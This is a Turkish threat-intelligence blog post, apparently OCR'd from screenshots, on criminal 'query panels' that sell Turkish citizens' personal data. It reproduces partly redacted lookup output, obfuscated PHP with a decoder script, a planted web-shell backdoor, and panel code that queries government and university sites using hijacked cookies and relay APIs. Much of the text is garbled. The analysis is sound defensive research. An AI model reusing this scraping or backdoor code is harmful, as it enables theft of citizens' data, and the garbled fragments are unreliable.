e-Devlet Hacklendi mi?

written by Mert SARICA | 21 June 2023
If you are looking for an English version of this article, please visit here.

Oncelikle yazinin sonunda séyleyecegimi basta sdyleyeyim, “Hayir, hack-len-
me-di!” Peki bu durumda vatandas olarak rahat bir nefes alabilir misiniz ?

Maalesef hayir. Bunun sebebini de yazinin devaminda okuyabilirsiniz.

Zaman zaman hortlayan “e-Devlet Hacklendi!”, “e-Devlet verileri calaindi!”,
“85 Milyon Vatandasin Kimlik Bilgileri Calindi!” vb. haberlerin (#1, #2)
¢i1kis noktasina baktiginizda cogunlukla dolandiricilarin, siber sug
orgutlerinin yer aldigi ve hizmetlerini/servislerini pazarlamaya calistiklari
Telegram, ICQ, Discord, forumlar gibi mecralarda paylastiklari ilanlarin buna

sebep oldugunu gorebilirsiniz.

Bu ilanlari incelediginizde ise siber su¢ 6rgutlerinin “Sorgu Paneli/Checker”
adi altinda dolandiricilara kimi zaman Ucreti mukabilinde kimi zaman lcretsiz
olarak vatandaslarin verilerine kurduklari web siteleri, Telegram kanallari
ve Discord odalari lzerinden erisim hizmeti/servisi sagladiklarini

gOrebilirsiniz.


https://www.hack4career.com/e-devlet-hacklendi-mi/
https://www.hack4career.com/was-turkeys-e-government-hacked/
https://www.cumhuriyet.com.tr/turkiye/son-dakika-e-devlet-verileri-calindi-tc-kimlik-numaralari-bile-gozukuyor-2089112
https://www.sozcu.com.tr/2022/gundem/emniyetten-e-devlet-hacklendi-iddialariyla-ilgili-aciklama-7108698/
https://telegram.org/
https://icq.com/
https://discord.com/

166538 D -

Panel Adi Checker
X Amtp—— @"ﬁﬂa_":;* e

Yazdir

Anne TC
Baba Adi
Baba TC

Cilt NO
Dogum Tarihi
Dogum Yeri
Kizhik Soyadi
Medeni Hal
Olum Tarihi
Memleket iL
Memieket iige
Sira NO

Seri NO

Seri No sorgu aktif
1

.

M & 5 comments

vy w_— -

a;’y Ao T =] R E a =



- (969)

Premium
paneldir.

I SC U
Izrmir Tapu U I

SADECE 100%

Sinirsiz Premium SOrgu Paneli Satiliktir Sadece 100tl

&) iletigim:

W S TR B — i = TV ™ L



@ https://discord.gg/

VIP (YILLIK) VIP (3 AYLIK) VIP (AYLIK) VIP (HAFTALIK)

o (1 B10) 400 .. 24010 100 .

@ Memi

$ Malive

& Okul(BAKIM) Simdi Satin Al Simdi Satin Al Simdi Satin Al Simdi Satin Al

B Hastane
Mernis 2015
Telefon
Araglar
Admin Iglemleri

Sunucu 1

Allrights reserved.




C O @ discord.com

4 Career. Inf... in Linkedin Mert SARICA (mer... ! Inbox - mert.saric...

aktif-deaktif-sistemler

05/13/2023 4:46 PM

AD SOYAD /)

cl

Use Quick Switcher to get around
Discord quickly. Just press: GSM-TCQ./‘

bt Tc-GsMi

satin-alim f—
AILE__J_
botu-nasil-kullanirim

DETAYLI GSMY/
aktif-deaktif-sistemler 2* .

. OKUL NOM/
v GEKILIiS :

cekilis E-OKUL VESIKARZ| /!'KENDIM ATIYORUM!

v KAYIT 18-VESiKAX

kayit

ADRES/)

v LAGALUGA . _
SULALENM
sohbet e

‘ PARSELW/
v TICKET

ticket ASIY/




16 members

Pinned message
| «~TC GIR OKUL NO VE ADRES VERSIN =~ PYDROID3 ILE CALISTIR

Reply

R |
F | Parametreler |
N | R
/sorgu —-tc *

/sorgu —isim x
/sorgu —-isim2 x
/sorgu —-isim3 x
/sorgu —soyisim x
/sorgu —dogumtarih s
/sorgu —nufusil *
/sorgu —nufusilce *
/sorgu —anneisim x
/sorgu —annetc
/sorgu -babaisim *
/sorgu —babatc *

| 7gsmn -gsm x

| 7aile -tc

| 7whois -ip x*

/iban -no *

/rand

Parametreleri kullanirken;
* Simgeli yerlere bilgileri,
Girmeniz gerekmektedir.

e
" /sorgu —tc 12345678901

16:29



708 members
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D
/sorgu -isim « -soyisim
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| TCKN:

| isim: __ ...

| Soy isim:.

| D.Tarihi: 22.3.2004
| Yas: 19YIL, 2 AY, 28 GUN
| iL Kodu: 04

| iLCE Kodu: 1111
| Nufus iL: AGRI

| Nufus ILCE: MERKEZ
| Anne isim: !

| Anne TCKN:

| Baba isim:

| Baba TCKN:

| Uyruk: TR
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|

|

|

|
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Sonu¢_No: 24
HKrA_ID:

TCKN:

isim:

Soy isim:.

D. Tarihi: 26.11.2009
Yas: 13 YIL, 6 AY, 24 GUN

il Wadiu £7
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Bunlari gordukten sonra “Peki ama nasil?” sorusunun endiseyle aklinizi
kurcaladigini tahmin edebiliyorum. Bu soruya yanit bulmak ic¢in siber
suclularin, dolandiricilarin, tehdit aktdrlerinin her adimini yakindan takip
eden ve bunlara yonelik olarak misterilerini uyaran SOCRadar Siber Tehdit
Istihbarati firmasinda calisan bir profesyonel olarak elimdeki imkanlardan

sonuna kadar faydalanmaya karar verdim.

Bunun icin ilk olarak SOCRadar’in XTI platformu tarafindan izlenen Telegram
kanallarinda kisa sureli bir gezintiye c¢iktaim.

Sorgu panellerine yonelik arama yaptigimda bazi Telegram kanallarinda bu
panellere ait dosyalarin bazi kisiler tarafindan paylasildigini gordim.


https://socradar.io/
https://socradar.io/
https://www.linkedin.com/in/mertsarica/
https://socradar.io/extended-threat-intelligence/
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Pinned message
Sohbet grubumuza katilmak i¢gin; https://t.me/-

e i
Q :
: PANEL KAPATILMISTIR. §

| Gerekli aciklamalar web sitemizde yer almaktadir;

G

.| HOSCAKALIN @
B &4

—

=
€
é\;/o Leave a comment > e
| i e &
I KAPANDIGI iCIN MEVCUT SCRIPTINI SANALA

R ARMAGAN EDIYORUZ @
indirme Linki: https://disk.yandex.com.tr/d/

Kurulum i¢in benioku.txt kontrol ediniz.

Yandex Disk &
Goruntule ve Yandex Disk'ten indir
& 30

(O Leave acomment >

Son 1.5 yilda dolandiricilar arasi artan rekabetin kimilerinin piyasadan
cekilmesine kimilerinin ise hacklenmesine yol ag¢tigini 6grendim.
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& Hack 4 Career. Inf... fjn Linkedin Mert SARICA (mer... A Inbox - mert.saric... B3 Other Bookmarks

Herkese selamlar arkadaslar, yapacagim agiklama sadece bizim iiyelerimize aittir.
Uye degilseniz sayfayr kapatabilirsiniz.Oncelikle kapatildigini siz degerli iiyelerimize maalesef bildirmek isteriz.

Yonetim ekibi bu zamana kadar hickimseye magdur olacagi bir durum yasatmamigtir ve kapatildigi igin de magdur
etmeyecektir.

Kapatma sebebimiz bildiginiz iizere yaklasik 1,5 sene dnce acildi ve
ilk agildiginda bizim disimizda saglam olan maximum 3-5 saglam siteler vardi
fakat son zamanalarda o kadar bos beles siteler agildi ki isin cilki gikti,
higbir ciddiyeti yok ve haliyle bizim de artik hevesimiz yok.
1,5 sene dncesine kadar asin hevesli olarak basladigimiz bu is artik bizim igin bikkinhk derecesine geldi

ve bi' onemi kalmadi ayrica belirtmek isterim ki en biiyiik mafya devlettir ve boynumuz kildan incedir.

Fakat bu durumda bile siz degerli iielerimiz magdur olmamasi adina Uyelikleri olan miisterilerimize para iadesi
yapilacaktir.

Asagidaki butona tiklayarak iiyeliginizi sorgulayip ardindan mevcut iiyeliginizden kalan giin kadar
iicretinizi belirleyeceginiz IBAN adresine iadenizi alabilirsiniz.
ade isleminden sonra 2 is giin icerisinde iicretiniz hesabiniza aktanilacaktrr.

Uyelerimiz her zaman bizim destekcilerimiz oldu, kisacasi ilk goz agrimiz. Iyi ki varsiniz, iyi ki vardimiz %

IADE iSLEMiI Q)




Pinned message
Arkadaslar Fiyatlara indirim yaptim bundan sonra fiyatlarimiz Haftalik 60 TL Aylik 150 TL Yillik 350 TL Sinirsiz 700 TL Satis & Destek:

% gé”‘%@@ NP
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Ug Bes Kurug para icin milleti dolandirmasaydiniz. Sitenizde bu index'i gormeyecektiniz.

Not: Loglanmiz ve Dosyalariniz Telegram Kanalimda Paylasilmustir. xd

TOSKACHECKER.PRO HACKED BY

He @1 S gfc

Toska checker dosyasi:
https://dosya.co/

dosya.co
indir = _
Dosyay indir
&
3 1 o
_d

Sorgu panellerinin nasil calistigini O6grenmek icin paylasilan dosyalari
(kaynak kodlari) yakindan incelemeye basladim. Bazi kaynak kodlarinda
dolandiricilarin, tanidiklari, akrabalari olduklarini tahmin ettigim TCKN
bilgilerine yoénelik kontrol koyduklarini gdérdim. Ornedin herhangi bir kisi bu
TCKN bilgisini panel lzerinde sorgulattiginda islem gerceklesmiyordu.



[ B adres_1.php

4P  adres_1.php

style="text-align: center;

ADRES
VERGI NO</
DOGUM YERL

['tc'];

( § ( ( (' LUnHEgQxVDvyaiWx7w5uYE57GNt5¢c] rCF9437+0XYJYB1cVY 1KSWWbbj+ef2e rNcAlj/jQy4E9u+8Wem8/CmGpiqu/w/+STUYL1]j FMGUWOXFuut2zC6c+Jr/

68bvn+y/E/AtkIHyexfxRhyJ563TqSXNFQ6x0IRrAHUXg6TGAWp2VXVNT+R8I fp8DyumGNLASvcm@QqM19+fUTeTQURPBXZrDINd96MMFYLskj SKTRNx@Ca3170WF9bVRN7J jVudzV59dp4aWHV f3XJtgbH606 rnKuhqdzBLIN
St0bPyRKdQgMhOoy )QjxkduvDitE@Tmb/NnIat+1B
6JehNeOxySduDog4: ~6hB6HPaySbGBToXqEGIt+bYs
RmZjzzybrhQa3EoAl LUxZNtwIoAtqvcCPQ8Tiac0zG
BRkOOBMIAPMQXbDI 5kCmqOHmeJwj S+1ywemULVZ3g
ON7EsLaw8/KGIMkII - " > ® - 3 4 K » 3 )fTgyn2tfYfnE5dkMnIt@1Bq9
y8rehR2ndNE9vX6xUtoXSCggCBwFTzyz17QwfurémYRLLS@CIMg5WQmVDcIWMNIIZ1cGnmC5+dQfzb0Qjxe1IUbR91cGg1XM1+]jFvCvuazl1Y@xoTn3DFpq+ulpcETLoYqCaAL1DFxnCYnk@ZpIeU9YPUZHGI/

riGgmsSzDUH1DcFRQ3ngleCS5+afth/qGodH4byaYq7DDbC+16zpnzvbSNuwQSRFNgFBjg/

enjOoRu8Xngv. CQoSN+11CXGco4V/

E6Avd6xq2By JXvz1nNIG41hcJOAIi9WIhLnHo@1RY0oT8LLRAK
dYwloCZkjq4Ipue 9krpsFEE80971ZC7PQQZ;jUPEgkoNCF8RIZ2W8z
SjqcufCQ+M1Q3G5 | _ 3 ” BwBNE2qI254kalI2g3K3dCYKHK3vPkypQfoRhT
Thn97/4wmA57ECQLUpMREIgha3iraCiELG3/tm1kNe5/bEGYhpBVArtSo/

5rNu@gNYoLJ0o1sk6d+4ynaEfnA0 bIKk@QBMMTE7NvAZTAp+Vxp+SBDZT1Q2sIg7Zbuy9EBKyXUTzfK23IuqZSXrLisBDgpRqzuxazEF24qyht0JnKQ1Ex7uWYUoDj68+SqhmCga20fzrNzIiSc+v3WeW98JCxoSYOXE8BNz/

G3sRaR9w@pd1tKkHEHdoGZQgkHSRIuNub7G0QOwWHh/ cukcbn7 rvYcPERIF IPNStQPn+njxqzWUPTR30T583cv39n+f6578=")))));

root@Kali: ~

File Actions Edit View Help

GNU nano 7.2 eval_decoder.py

subprocess
sys
time

>
payload = "eval(str_roti3(gzinflate(str_roti3(base64_decode( LUnHFq:«\J[)U','ail‘.x7\15uYFG7GHtG(11'CFULZ7~0XYJYB1(\’Yl](S\’.”.'AI)!)j+r—if)el"d(AIj/jOy&F

(I=D)=
payload = payload.replace("eval”, "echo")
p = subprocess.Popen(['php', '-r', payload], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = p.communicate()
payload = out.decode()

payload.find("eval”) = 0:
print("—m——")
print("Payload:")
print(payload)
payload = payload.replace("eval™, "echo")

print(payload)
sys.exit(1)

[ Read 25 lines ]

B8 write Out Bl where Is B8 cut Wl Execute e Location ™l Undo il Set Mark
M Read File B Replace W Paste B¢ Justify Wi Go To Line B3 Redo Copy




File Actions Edit View Help

root@Kali: ~

eval(gzuncompress(base64_decode( 'eIxdyk1zoyAAgOGfO+wNvzrN7AkXFBDGBrRIVXSMMdbED7ChCf767173vT0zb/tdDStu7afzUN/azbH+ap/Dj1PbzKf/9XVbPpb55

gWbJ1zAN75e28SpHBGML7vtNLBnktG
RhU18mdO8SYF6mDovIMMGmAgMAukbJ
KNVOBfnHo30wUozvvsmx6TydCleE99
1a

Payload:

1')));

eval(gzinflate(base64_decode(base64_decode(str_rot13('ETAVLzkeFySODHEE

0J5SrRy jn3ADQRIMAZEYGH
ODMKySo0JqPIHu@LKAdDF9C
ZIMkrwD1ARyyGauuJSugAC
))));

Payload:
eval(gzinflate(base64_decode(str_rot13('Q
J X3 S

XGfRhZuSwd+zyshgdxMHAj1IBAbfUh6r/jR="))));

Payload:
eval(gzinflate(str_rot13(base64_decode( 'BcH
67khRPc

Payload:
eval(gzinflate(base64_decode( 'y
if ($tc = "2185 Eal|N$tc — "368

qL7TyP
sxgPo0
8Tjls5g

MQEa
W4LGImHa
DyD5LxqO
Legmt9"')

jgGCPA2

Bazi kaynak kodlarinda ise bu kaynak kodlarini indirip daha sonra kullanacak

dolandiricilarin web sitelerine sizmak icin arka kapi (web shell)

yerlestirildigini tespit ettim.

Name

> @ masterpanel

Date Modified

Today at 20:24
Today at 19:21

A Avast File Shield alert

Multiple threats

Kind

-- Folder
74 KB Docume

a

Cali3he 2

adsoyadv3.php is infected with malware: PHP:BackDoor-EP [Trj]

MOVE TO QUARANTINE @



https://www.imperva.com/learn/application-security/web-shell/

@ adsoyadv3.php
4P  adsoyadv3.php

/* Configurasi */
auth_pass = "4a9237545e7e6da7bf@c47e4be57186¢";//
color = "#00ff00";

default_action FilesMan';
default_use_ajax
default_charset

= 'UTF-8';
function 0A
7>

DOCTYPE

name="viewport" content="widht=device-widht, initial

scale=1.0
nam author" content: B
HACKED BY - t.me/1

rel="icon' type='image/png' hr
stylesheet" href="https

='https://cdn.discordapp.com/attachments/1006144051613016157/1042036729865044070/A1iRoswe L 1PP.png
/stackpath.bootstrapcdn
rel="stylesheet" href="https

com/bootstrap/ @/css/bootstrap.min.css
://use. font ome.com/releases/v5.7.1/css/all.css

class="bg-dark text-light

container" style="margin-top: 15%'

—-center pb-5">HACKED BY
post

password" n
submit" class

- t.me/

pass" placeholder="Hacked IP'

G form-control
btn btn-danger btn-block

class="form-control" value="Login

href="https://t.me/ class="text-muted fixe

bottom">Copyright 2023 @ HACKED BY

Kaynak kodlarinda yer alan tehdit aktdérlerinin imzalarini (rumuz/nickname)
SOCRadar XTI platformunda arattigimda hangi Telegram kanallarinda

barindiklarini ve onlarla ilgili olan mesajlari okuma sansi elde ettim.

(siber guvenlik uzmanlari, emniyet yetkilileri icin muthis bir imkan!)

[ @ index.php
<4 P>  index.php

<th style lo d">'.srow["status"]. '</t

if ($row["rank"] == 'webmaster'){
< <span style="background: url(./assets/gif/simsek.gif); background-repeat: no-repeat; background-size: cover; text-shadow: @px @px
row["rank"]. '</span></th>";
} elseif ($rowl["rank"]

10px; 15px red; color: re
admin'){
<th><span sty ‘backgroun url(./assets/gif/sparkles.gif); background-repeat: no-repeat; background-size: cover;
row["rank"]. '</span></th>";
} elseif ($row["rank"] == 'Yillik'){
<t pan style: url(./assets/gif/sparkles.gif); background-repeat: no-repeat; background-size: cover; text-shadow: @px @px 1@px; 10px lightgreen; color:
lightgreen;"> </span:
} elseif ($row["rank"] == 'Aylik'){
<th>'.$row["rank"].'</th>";
} e{
<th>'.$row["rank"].'</th>";
}

text-shadow: @px @px 10px; 1@px aqua; color: aqua;">|

<form id="edit_form" action
nput id="hidden_id" type='

="configuration" method="POST">
<th><button typ

'hidden" nai advanced .
button"id="conf" sty margin-left: 20px;" onclick: vascript:config('.$rowID."')"
<th><button type="button" onclick="javascript:delete_uid(

class="padd btn btn-outline-warning">Diizenle</button></th></form>

rowID. ')" id="delete" class="padd btn btn-outline-danger">Sil</button></th></tr>

class="author
Created with

class="fa-solid fa-heart by jemoisika/xbozk@rt/zeox:


https://socradar.io/extended-threat-intelligence/

4 P functions.php

<7php
customCSS
customJAVA
customCSS
<link href
<link rel="icon" href

<link href="../assets/plugins/DataTables/style.css" rel="stylesheet">

)

e L e R e s e EV e e D agilant pp
page_title Kullanici Sil';
include '../../uo/uo/ . /admin/

('Europe/Istanbul');
nowDate ("d.m.Y");
sl ['sil'])) {
sil (
query DELETE FROM
if ($conn-> (Squery) ) {

success KULLANICI BASARIYLA SILINDI';
('location: /pozo_fayuj_minik');

['sil']);
sh_kullanici

} else {

}

("Location: /bozo_fayuj_minik");

& C {0 @& platform.socradar.com,

£ Hack 4 Career. Inf... in Linkedin Mert SARICA (mer... 1 Inbox - mert.saric...

SOCRadar Threat Hunting

Q jemoisika h
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M

b Digtal Risk Protection > A Search Result
yoer Threat Intelligence
Results are searched from 2023-04-17 to 2023-06-18
ot Hunting
https://t.me/k 13741
[ Local Thr e Telegram - 2023 May 26 + 23
dark Web News telegram | | group hannel
% cabilty Inelligence
L e & Shopping Market %
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https:/t.me/ /3740
D Threat Hunting Rules Telegram - 2023 May 26 + 23 days ago
s telegram | " social | [~ surfaceweb | | group | [ channe
hreat Reports & Shopping Market ™|
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B stedler Logs .
= https://t.me/ 3738
@) incidents > telegram | [ surfaceweb | | group | [ channel
R F Shopping Market
@ he k
@jemoisika

«

WHERE id='$sil

Last Year

g =

B functions.php

./assets/plugins/DataTables/datatables.min.css" rel="stylesheet">
'https://quarex.pro/assets/images/quarexlogox2.png" type="image/x-icon" />',

oe@ :
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) Local Threat Share

~4 Trending Keywords

jroup

Dark Web News

B Vulnerabiity Inellgence
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& Trreot Feed /I \ security 4218 »
. Threat Actor/Malware N
LOAD MORE RESULTS v seript 673

{ Threat Hunting Rules

cybersecurity 2470
Malware Analy
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such websites or o regarding the of the sources and information contained in such websites or nor to their or Itis
EemEieT hereby clarified the Company may stop making use of any such application or third party website at any time, without providing any notification to that effect. In no event shall the checker 1830 ~
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- hacking 1110 »
B Stealer Logs
wildfire 1003 =
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& Hack 4 Career. Inf... jn Linkedin Mert SARICA (mer... 1 Inbox - mert.saric...

CC ooshboords
Q fayyj = Last Year
it
o Risk
W lisk > A Search Result
o Results are searched from 2023-04-17 to 2023-06-18
C /eb N phpmyadmin | | php |
" ity
i s
Bu script ilk ald zamanlardaki scripticir.
Meveut scripti deildir.
Fakat benzeri oldu in ve herkes tarafndan istendii in herkese ak olarak paylalmtr
e Ben kodladm diye inanlara tibar etmeyiniz.
] i
@w Tekkral varsa o da
hreat s https://: o
https://tmerc
{
ampa
B s
@ 9 Site dosyalarn kendi sunucunuza ya da htdocs'a ykleyin
- Ardndan server klasmdeki sql balantlamn hepsini yapn.
- PHPmyadmin zerinden sql dosyasndaki salyiieri aktam.
(R Reports - admin/login.php dosyasndaki 10.satr kendi site adresiniz ile deitirin.
- admin/authcontrol.php dosyasndaki 42.satr kendi site adresiniz e deitiin
B - Ik anahtar: root admin key: fayu _adminkey dir.
B Settings > -yi kullanmlar. <3
«

Sira bu sorgu panelleri Uzerinden vatandaslara ait

*» o000 :
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bilgilere nasil

erisildigini 6grenmeye geldiginde, 3 farkli panele ait kaynak kodlari

tUzerinde yapmis oldugum arastirmalarda iki farkli yontem ile karsilastim.

Birinci yontemde panel lUzerinden yapilan sorgular ayni veya farkli

dolandiricilara ait baska sistemlere yani Web APIlere, Web APIlerden de

kuvvetle muhtemel calinti hesap bilgileri (cerez/cookie) ile erisim yetkisi

olan web sitelerine (devlet, uUniversite vb.) iletiliyordu. Gelen yanitlar da

yine ayni yol Uzerinden sorguyu yapan kullanicilara/kisilere geri

iletiliyordu. Iletisimi kisaca akisa dékmem gerekirse;

Kullanici <-> Sorgu Paneli (Dolandiriciya ait) <-> API (Dolandiriciya ait)

<-> Web Sitesi (yetkili, calinti bir hesabin cerezi ile erisim)

@ api.php

api.php

7php
require '../../../server/PD0.php';

('Content-Type: application/json; charset=utf-8');

[“tc"){
( ["tc"1);
("http://20.67.48.150/apiservice/tc/api.php?auth=
["HTTP_HOST"1);
if (X4

["ad"]) && ( ["soyad"1)) [ivI)nA{
ad=sec( ["ad"1);
soyad=sec ( ["soyad"]1);
S ["il"1);

("http://20.67.48.150/apiservice/tc/api.php?auth=c
["HTTP_HOST"1);

($X);

&tc=$TCS&Response=LETS_DO_IT&X-Requested-By=".

&tc=$TC&Response=LETS_DO_IT&X-Requested-By=



https://www.kaspersky.com.tr/resource-center/definitions/cookies

® [ JETTR )

4P apiphp

<?php
include "../../server/authcontrol.php";
("display_errors", 1);

(ERAE)E

( ['tc']);

ch ();
($ch, CURLOPT_URL,
X8F6 rdY9IKx5munwV

gjyt5RTjDbKRzBYVMghzp3VZ3A75bwN24 ragzKZTF8VsbtvEj2w82dDIRV]") ;

https://api.sheetdev.net/api/sorgu.php?tc=$tc&action=vesikalik&auth=GD36nT7Uu9bcDFhrD
q7YHRSLCkJ3

headers[] Accept: application/json";
0);

($ch);

headers

result

Vesika Sorgu", '"sxx$kadikx isimli llye xk$tckk icin sorgu yapti!");

($sorguURL, "Fayuj Sorgu BOT v24",

B api.php

api.php

?php
include
tc (

../../server/authcontrol.php";
['tc']);

include '../vdsip.php';

url http://".$ip."/apiservice/

bacislkenfayuj ($url);
(st fayuj, CURLOPT_URL, $url);

fayuj, CURLOPT_RETURNTRANSFER,

fayuj, CURLOPT_SSL_VERIFYHOST,

fayuj, CURLOPT_SSL_VERIFYPEER,

tapu/tapu.php?tc=$tc&auth=1

(5
(5
(5t

);

(sl DA

resp;

($sorguURL, "Fayuj Sorgu BOT v2", "Tapu ", '"xk$kadixk isimli lye *k$tckk icin sorgu yapti!");

@® [ fayujunisorgu.php

4)

1 F?php
include
tc (

fayujunisorgu.php

../../server/authcontrol.php";
['tc']);

include '../vdsip.php';

url http://".$ip."/apiservice/ /uni/uni.php?tc=$tclauth=

bacislkenfayuj = (
(st fayuj,

(st fayuj,

(st fayuj,

(st fayuj,

M H

resp;

($sorguURL,
yapti!");

Fayuj Sorgu BOT v31",

url);

CURLOPT_URL, $url);
CURLOPT_RETURNTRANSFER,
CURLOPT_SSL_VERIFYHOST,
CURLOPT_SSL_VERIFYPEER,

i);

Universite Sorgu",

sk$kadikxk isimli lye sk$tckk igin sorgu sxk$respik



API Nedir?

API’ler, iki yazilim bileseninin belirli tanimlar ve protokoller araciligiyla
birbiriyle iletisim kurmasina olanak taniyan mekanizmalardir. Ornegin,
meteoroloji mudidrliuginin yazilim sistemi, gunlik hava durumu verilerini
icerir. Telefonunuzdaki hava durumu uygulamasi, API'ler araciligiyla bu
sistemle “konusur” ve telefonunuzda size glunluk hava durumu guncellemelerini
gosterir. (Referans: Amazon)

Ikinci yéntemde ise bu defa panel lzerinden yapilan sorgularda arada Web API
olmadan yine kuvvetle muhtemel calinti hesap bilgileri (c¢erez/cookie) ile
erisim yetkisi olan web sitelerine (devlet, Universite vb.) iletiliyordu.
Gelen yanitlar da yine bir dnceki yontemde oldugu gibi ayni yol Ulzerinden
sorguyu yapan kullanicilara/kisilere geri iletiliyordu. Bunun da iletisimine
akisa dokmem gerekirse;

Kullanici <-> Sorgu Paneli (Dolandiriciya ait) <-> Web Sitesi (yetkili,

calinti bir hesabin cerezi ile erisim)

@ api.php

api.php

<?php

include "../../server/authcontrol.php";

("Content-Type: application/json; utf-8;");

e = [Etch
dogum = ['dogum'];

url = "https://enstitu. .edu.tr/aday/crud!bilgiGetir.action?yerli_kimlik_tc_kimlik_no=$tc
&aday_ad=asd&aday_soyad=asd&yerli_kimlik_dogum_tarih=$dogum
agent = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36';
ch = 0;
($ch, CURLOPT_URL, $url);
($ch, CURLOPT_POST, 1);
($ch, CURLOPT_POSTFIELDS,
ayricalik=ad, soyad,baba_adi,ana_adi,mahalle,medeni_hal,cinsiyet,dogum_tarih,cilt_no,aile_sira_no,sira_no,dogum_yer,il_pk,il_ad, ilce_pk
,ilce_ad,seri_no,seri,no,seri,no");

($ch, CURLOPT_RETURNTRANSFER, 1);
($ch, CURLOPT_USERAGENT, $agent);
curl_scraped_page = ($ch);
($ch);
json ($curl_scraped_page,

("success" => "true", "data" => $json["adayList"]));

($sorguURL, "Fayuj Sorgu BOT v33", "Seri No SORGU", "sk$kadixk isimli lye x*$tckk numarasiyla sk$dogumsk tarihli kisi i¢in sorgu yapti!");
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B fayujapix.php
fayujapix.php
[<?php

('display_errors', 0);

include "../../server/cookie.php";
include "../vendor/autoload.php";
use GuzzleHttp\ H

('Content-Type: application/json');
tc = [Echl;

client = new O
requestKimlik = $client—> (MGEI S *htEpsi//i 1.gov.tr/Common/FirmaSorgulamalslemleri/EsnafSorgulama’ . $tc, [
headers' => [
Accept application/json, text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/
signed-exchange;v=b3;q=0.9",
Accept-Encoding gzip, deflate, br",
Accept-Language en-US,en;q=0.9",
Connection keep-alive",
Content-Type application/json; charset=utf-8",
sec—-ch-ua Not A;Brand";v="99", "Chromium' ''98", "Google Chrome";
sec—ch-ua-mobile" => "?0",
sec—ch-ua-platform "Windows" "',
Sec-Fetch-Dest" => "empty",
Sec-Fetch-Mode" => "cors",
Sec-Fetch-Site same-origin",
User-Agent" => "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
X-Requested-With" => "XMLHttpRequest
1
1);

response = ($requestKimlik—> () (), Dy
if ($response["State"] 1) {
json_result = ($response["Result"] ["responseJsonStr"], )i
sayi = ($json_result["sigortaliBilgisi"] ["sgkSigortaliBilgileri"] [*sigortaliTumOrtakHizmetlerDtoList"]);
json_result ($json_result["sigortaliBilgisi"] ["sgkSigortaliBilgileri"]["sigortaliTumOrtakHizmetlerDtoList"] [$sayi - 1]);
(["success" => "true", "message" => "Bulundu", "data ($json_result, E response["Result"][
IsYeriAdres"11);
} else {

}

(["success false", "message Bulunamadi"]);




® @ api.php
4P apiphp
fc?php

tc = i'te 1}
('/~[0-91+$/",
if ( (stc)) {
result = (
success' => 'false',
'message’ => 'Hatali TC
);
}

cookie = "tzrw!

function ge ge($cookie)
{
i = 1
($ch, CURLOPT_URL, "http://i .gov.tr/A0L01001.aspx");
($ch, CURLOPT_RETURNTRANSFER, 1);
($ch, CURLOPT_SSL_VERIFYPEER, D
($ch, CURLOPT_SSL_VERIFYHOST, );
($ch, CURLOPT_USERAGENT, “Mozilla/5.@ (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/
)
(

ch, CURLOPT_COOKIE, "ASP.NET_SessionId=$cookie; kullanici=; ekranTipi=");
($ch);

@ B cookie.php

4P cookie.php

<?php

$cookie = "fbSavraaaaaaaaaaaaaaaa_session_=PHHJJMCNIBJOI ICDDGHEHLM
KLNMADKODAJGIDJMHBE( OFMGEBK; _ga=GA1l.3.488499337.1645105929;
_gid=GA1.3.1765686683.1645105929; Hsb=Kkc, - . ) lyd; _ RequestVerificationToken=dtXPJ48I1kdrklTQ@9tAz
uWgHe® r-UcdBX5yQh-KibrBBCv7CG YI3_qnPggY1l;
_gat_gtag_UA_116537410_2=1; f5avraaaaaaaaaaaaaaaa_session_=PMMPGDLNPHDHCONLO LH
DGDLMACMLGCNBBDDHFCOJIIPIMPI BHFEGFPCKMMHIGFF";

g
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Sorgu
© @ atsbilgi.php ™  Open with Xcode
Name Date Modified

R tcxd.php Dec 26, 2022
v @ adsoyad Feb 1, 2023 at $auth_key = "
B api.php Jan 13, 2023

v @ adsoyadpro Feb 1, 2023 at if($_GET['auth'] != $auth_key) {
. echo json_encode(array('success' => false, 'message' => ‘'auth key nerde : herif'));
api.php Jan1, 2023 a die();
v M aile Feb 1, 2023 at }else {
m $1 _proxy =" L]
R api.php Jan 3, 2023 a $I _proxyport = "5678";
- t $cookie = "ASP.NET_SessionId=ot! *hxh";
7 akrat?a Feb 1, 2023 a ot = §_GETI'te'] i
R api.php Jan 20, 2023 $ch = curlinit();
v M aol FE ] 2 Eﬁ;laze‘;?pt(ﬁh, s(-:U:!;ep;lt‘ﬁ:;'i/rapor/uyguIamasorguladetay?
n api.php Jan 21, 2023 2 criteria=%7B%22TcKimlik%22:%22$tc%22,%22HibeListele%22: false%s7D");
= . : curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
v M apiservices Feb 1, 2023 at curl_setopt (§ch, CURLOPT_HTTPGET, 1);
R adsorgu.php Jan 21, 2023 a curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, @);
B ssteip o e e k)
R annedencocuksorgu.php Jan 21, 2023 2 curl_setopt ($ch, CURLOPT_PROXYPORT, _proxyport);
- curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
R aol.php Jan 21, 2023 a curl_setopt ($ch, USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
R asi.php Jan 21, 2023 a Chrome/109.0.0.0 Safari/537.36");
R E curl_setopt ($ch, CURLOPT_HTTPHEADER, array(
R atsbilgi.php Jan 22, 2023 at 2 'Accept: application/json, text/plain, */*
R babadancocuksorgu.php Jan 21, 2023 2 .Accept-Encoding: gzip, deflate, br,
R 'Accept-Language: en-US,en;q=0.9',
R detayliadres.php Jan 21, 2023 a 'Authorization: JWT
48 1 )5YjYZzMmQyZWF iMmYil.C11c3Ii0iIONTgIMDCyM;
: gsmtc.php ) Jan 21, 2023 T
secmentc.php NELWARVIVER: ‘Connection: keep-alive',
0 2 'Host: .gov.tr'
B sinif.php B2, A 'Referer: https://. j .gov.tr/pages/src/',
R sms.php Jan 24, 2023 a 'Sec-Fetch-Dest: empty’,
s 'Sec-Fetch-Mode: cors'
n soyadsorgu.php Jan 21, 2023 & 'Sec-Fetch-Site: same—t’)rigin',
